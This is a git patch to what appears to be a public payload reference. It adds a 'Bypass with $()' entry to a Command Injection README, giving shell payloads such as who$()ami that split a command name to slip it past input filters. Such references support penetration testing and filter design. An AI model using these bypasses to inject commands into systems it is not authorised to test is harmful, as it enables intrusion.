From 8a5e01f20dcdb7975aaee92cd25131b248fbd661 Mon Sep 17 00:00:00 2001 From: xplo1t-sec Date: Wed, 30 Mar 2022 03:13:18 -0400 Subject: [PATCH] added new bypass --- Command Injection/README.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/Command Injection/README.md b/Command Injection/README.md index 9df048a..9b66cc2 100644 --- a/Command Injection/README.md +++ b/Command Injection/README.md @@ -18,6 +18,7 @@ * [Bypass with double quote](#bypass-with-double-quote) * [Bypass with backslash and slash](#bypass-with-backslash-and-slash) * [Bypass with $@](#bypass-with-) + * [Bypass with $()](#bypass-with-$()) * [Bypass with variable expansion](#bypass-with-variable-expansion) * [Bypass with wildcards](#bypass-with-wildcards) * [Challenge](#challenge) @@ -209,6 +210,12 @@ echo $0 echo whoami|$0 ``` +### Bypass with $() +```powershell +who$()ami +who$(echo am)i +``` + #### Bypass with variable expansion ```powershell